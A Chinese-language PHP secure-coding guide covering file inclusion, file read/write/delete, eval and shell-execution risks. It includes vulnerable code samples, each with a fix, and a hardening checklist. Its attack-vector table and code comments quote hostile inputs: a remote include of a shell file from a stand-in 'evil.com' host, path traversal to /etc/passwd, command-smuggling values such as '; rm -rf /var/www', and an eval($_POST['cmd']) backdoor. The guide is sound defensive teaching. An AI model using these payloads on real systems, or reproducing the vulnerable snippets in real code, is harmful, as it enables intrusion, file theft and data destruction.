首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫
您现在的位置: 程式碼之家 >> 編程語言 >  >> 網頁程式設計 >> PHP 程式設計 >> PHP 綜合知識

PHP 函數安全指南:高風險函數識別、漏洞成因與防禦實務

     編輯:PHP 綜合知識

PHP 內建許多強大函數,若未嚴格過濾使用者輸入,極易成為攻擊入口。本文系統梳理高風險函數類別、典型漏洞案例與防禦原則,助你建立「不信任任何輸入」的安全思維。

高風險函數分類與風險說明

類別代表函數核心風險典型攻擊向量
檔案包含include, require, include_once, require_once, fopen遠端/本地檔案包含 (RFI/LFI)?page=https://evil.com/shell.txt、目錄遍歷 ../../etc/passwd
檔案讀取/洩露fopen, file, readfile, file_get_contents任意檔案讀取、原始碼洩露?file=config.php、?id=../.env
檔案寫入/後門fwrite, file_put_contents, fputs寫入 Webshell、修改設定檔上傳含 PHP 代碼的圖片、日誌注入
檔案刪除unlink任意檔案刪除、癱瘓服務?delete=../../index.php
代碼執行eval, preg_replace (搭配 /e 修飾符), assert, create_function任意代碼執行 (RCE)eval($_POST['cmd'])、正則注入
命令執行system, exec, shell_exec, passthru, popen, proc_open伺服器級命令執行?ip=127.0.0.1; cat /etc/passwd、管道符 |、反引號

經典漏洞代碼剖析

1. 檔案包含漏洞

<?php
// 危險:$page 未過濾直接包含
$page = $_GET['page'] ?? 'home';
include "$page.php"; // 攻擊者傳入 ?page=../../etc/passwd%00 或遠端 URL

修正:白名單機制 in_array($page, ['home','about','contact'])、basename()、realpath() 限制目錄、關閉 allow_url_fopen、設定 open_basedir。

2. 命令注入漏洞

<?php
// 危險:直接拼接使用者輸入
$dir = $_GET['dir'];
system("mkdir -p /var/www/uploads/$dir"); // 攻擊者傳入 ?dir=test; rm -rf /var/www

修正:escapeshellarg($dir)、escapeshellcmd()、盡量用 PHP 內建函數(mkdir()、rename())替代 Shell 命令。

3. 代碼執行漏洞

<?php
// 危險:eval 執行不可信字串
$rule = $_GET['rule']; // 攻擊者傳入 "phpinfo();"
eval("\$result = $rule;"); // 直接執行

修正:嚴禁 eval() 處理使用者輸入;若需動態邏輯,用策略模式、匿名函數、或 sandbox(如 runkit、v8js)。

通用防禦原則(纵深防禦)

  1. 輸入驗證與白名單:所有外部輸入($_GET, $_POST, $_COOKIE, $_FILES, $_SERVER)在使用前必須驗證型別、長度、格式、範圍;檔案路徑、命令參數、SQL 識別碼皆採白名單。
  2. 最小權限原則:PHP 進程以低權限用戶運行;資料庫帳號僅授必要權限;open_basedir 限制檔案存取範圍;disable_functions 禁用高危函數(exec,system,passthru,shell_exec,proc_open,popen,eval,assert 等)。
  3. 輸出編碼與上下文感知:雖屬 XSS 範疇,但 file_put_contents 寫入 HTML/JS 檔案時同樣需編碼,防止二階注入。
  4. 錯誤資訊不外洩:生產環境 display_errors=Off、log_errors=On,避免堆疊追蹤洩露路徑結構。
  5. 依賴管理與更新:Composer 定期 composer update,關注 CVE,移除棄用庫(如 PHPExcel → PhpSpreadsheet)。
  6. WAF/IDS 輔助:ModSecurity、OpenRASP 等運行時防護作為最後一道防線,不可作為唯一依賴。

安全開發清單

  • [ ] 所有檔案操作路徑經 realpath() 規範化並檢查是否在允許目錄內
  • [ ] 所有 Shell 命令參數經 escapeshellarg() 轉義
  • [ ] 專案中無 eval()、create_function()、preg_replace('/e') 處理使用者輸入
  • [ ] php.ini 已設定 disable_functions、open_basedir、allow_url_fopen=Off
  • [ ] 程式碼審查機制覆蓋所有高風險函數呼叫點

安全不是買來的產品,而是寫出來的習慣。將「不信任輸入」內化為肌肉記憶,才是防禦漏洞的根本之道。

  1. 上一篇文章:
  2. 下一篇文章:
Copyright © 程式碼之家 All Rights Reserved